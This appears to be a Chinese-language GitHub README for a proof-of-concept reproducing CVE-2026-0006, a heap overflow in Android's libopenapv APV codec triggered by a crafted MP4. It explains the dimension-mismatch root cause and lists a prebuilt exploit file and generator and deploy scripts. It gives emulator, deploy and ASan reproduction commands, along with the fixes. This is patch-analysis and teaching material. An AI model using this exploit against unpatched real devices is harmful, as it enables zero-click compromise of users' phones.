mobilehackinglab/CVE-2026-0006-openapv-poc

GitHub: mobilehackinglab/CVE-2026-0006-openapv-poc

针对 Android APV 编解码器堆缓冲区溢出漏洞(CVE-2026-0006)的概念验证,提供恶意 MP4 构造与零点击远程代码执行复现能力。

Stars: 0 | Forks: 0

# CVE-2026-0006:libopenapv(Android APV 编解码器)中的堆缓冲区溢出 ## 补丁分析与复现,作者:[Mobile Hacking Lab](https://www.mobilehackinglab.com) **CVSS 9.8 严重** | 在野已被积极利用 | 2026 年 3 月已修补 ![演示:deploy_exploit_mp4.sh 在 mediaswcodec 中触发 SIGSEGV](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/016939c3c0183652.gif) ## 概述 CVE-2026-0006 是 [libopenapv](https://github.com/AcademySoftwareFoundation/openapv) 中的一个堆缓冲区溢出漏洞。libopenapv 是三星开源的 APV(Advanced Professional Video)编解码器,已作为 Mainline 模块集成到 Android 16 中。 该漏洞允许通过特制的 MP4 文件实现**零点击远程代码执行**。Android 的媒体框架会自动处理视频文件以生成缩略图和预览——无需任何用户交互。 ### 根本原因 `oapvd_info()` 和 `oapvd_decode()` 从**不同的 PBU**(Payload Byte Unit,有效载荷字节单元)读取帧尺寸。攻击者注入一个声明较小尺寸(16x16)的 AU_INFO PBU(类型 65),而实际的 FRAME PBU 编码了较大的尺寸(64x64)。框架根据 `oapvd_info()` 的输出分配缓冲区,随后 `oapvd_decode()` 以 FRAME PBU 的尺寸写入解码后的像素——导致缓冲区溢出 **14,848 字节**。 ### 受影响版本 - libopenapv v0.1.11.1 至 v0.1.13.0 - 安全补丁级别在 2026 年 3 月之前的 Android 16 设备 - Samsung Galaxy S26 Ultra 及其他支持 APV 编解码器的设备 ## 仓库内容 | 文件 | 描述 | |------|-------------| | `generate_overflow_mp4.py` | 生成带有 AU_INFO 尺寸不匹配漏洞的 MP4 | | `deploy_exploit_mp4.sh` | 一键脚本:生成、推送到 Android 设备、打开并捕获崩溃 | | `poc_mp4_asan.c` | 模拟 C2SoftApvDec 解码路径的 ASan PoC | | `poc_android_oob_write.c` | 带有保护区域溢出检测的独立 ARM64 PoC | | `valid.apv` | 有效的 337 字节 APV 码流(64x64,YUV422,10-bit) | | `apv-mp4/valid_ffmpeg.mp4` | 基准 MP4 容器(由 ffmpeg 生成) | | `apv-mp4/overflow_auinfo.mp4` | 预构建的漏洞利用 MP4(1,178 字节) | ## 设置测试环境 您需要一台安全补丁级别在 **2026 年 3 月之前**的 Android 16 模拟器(较旧的 Android 版本中不存在 APV 解码器)。 ### 创建 AVD ``` # 安装所需的系统映像 (Android 16 / API 36, ARM64) sdkmanager "system-images;android-36.1;google_apis;arm64-v8a" # 创建 AVD avdmanager create avd \ -n android16_apv \ -k "system-images;android-36.1;google_apis;arm64-v8a" \ -d pixel_6 # 启动模拟器 emulator -avd android16_apv -no-snapshot-load ``` ### 验证 APV 解码器是否存在 ``` # 检查 APV codec 模块是否存在 adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so # 检查安全补丁级别(必须在 2026-03-01 之前) adb shell getprop ro.build.version.security_patch ``` 如果安全补丁级别为 `2026-03-01` 或更高,则该漏洞已被修补,漏洞利用将无法生效。请使用更早的系统镜像或快照。 ## 快速开始 ### 选项 1:将预构建的漏洞利用 MP4 部署到 Android 设备 ``` # 前置条件:通过 adb 连接到 Android 16 设备/模拟器(2026 年 3 月补丁之前的版本) ./deploy_exploit_mp4.sh ``` 此操作将生成漏洞利用 MP4,将其推送到设备,打开它并捕获崩溃输出。崩溃可能不会在第一次尝试时触发——脚本会自动重试最多 3 次。 ### 选项 2:仅生成漏洞利用 MP4 ``` # 前置条件:valid.apv 和 apv-mp4/valid_ffmpeg.mp4(均已包含) python3 generate_overflow_mp4.py ``` ### 选项 3:为 ARM64 交叉编译 ASan PoC ``` # 前置条件:Android NDK r29+, libopenapv v0.1.11.3 源码 NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879 CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so # 1. 为 ARM64 构建带 ASan 的 libopenapv git clone https://github.com/AcademySoftwareFoundation/openapv.git cd openapv && git checkout v0.1.11.1 mkdir build_arm64_asan && cd build_arm64_asan cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \ -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \ -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" make -j$(nproc) # 2. 交叉编译 MP4 ASan PoC $CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \ -I../inc -I./include \ poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan # 3. 推送到设备并运行 adb push poc_mp4_asan $ASAN_RT /data/local/tmp/ adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/ adb shell "LD_LIBRARY_PATH=/data/local/tmp \ ASAN_OPTIONS=detect_leaks=0 \ /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4" ``` ### 预期的 ASan 输出 ``` ==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580 WRITE of size 2 at 0x006f770f0580 thread T0 0x006f770f0580 is located 0 bytes after 512-byte region [0x006f770f0380,0x006f770f0580) ``` ## 修复方式 1. **即时边界检查**(提交 `fb6a5eab`):`ssize > 4` 验证和 `'aPv1'` 签名检查 2. **参数验证**(v0.1.13.1):用于尺寸/分块大小验证的 `oapv_param.c` 模块 3. **安全的码流访问**(v0.2.0.0):在码流读取器级别进行边界检查读取 ## 参考 - [Android 安全公告 - 2026 年 3 月](https://source.android.com/docs/security/bulletin) - [libopenapv GitHub](https://github.com/AcademySoftwareFoundation/openapv) - [RFC 9924 - APV 编解码器](https://www.rfc-editor.org/rfc/rfc9924) - [Mobile Hacking Lab - 完整报告](https://www.mobilehackinglab.com/blog/exploiting-android-apv-codec-0click-heap-overflow) ## 致谢 **该漏洞由最初的安全研究人员发现并负责任地披露。** 我们并没有发现此 CVE。所有发现的荣誉均归属于他们。 本仓库是 Mobile Hacking Lab 独立的**补丁分析与复现**——出于教育目的创建,旨在帮助安全社区从真实世界的漏洞中学习。 ## 免责声明 此项研究是出于教育目的,在隔离的易受攻击库测试版本上进行的。所有测试均针对本地构建的开源 libopenapv 项目二进制文件执行。未针对任何生产设备或系统进行测试。
标签:Android, Android Mainline, APV编解码器, ARM64, ASan, Bash脚本, C2SoftApvDec, CISA项目, Cutter, CVE-2026-0006, CVSS 9.8, DSL, Go语言工具, libopenapv, MP4文件处理, PoC, Samsung Galaxy, SIGSEGV, 内存破坏, 堆缓冲区溢出, 多媒体框架, 安全漏洞, 客户端加密, 暴力破解, 概念验证, 漏洞复现, 目录枚举, 移动 hacking, 移动安全, 编程工具, 越界写入, 远程代码执行, 逆向工具, 零交互漏洞, 零点击RCE, 高级专业视频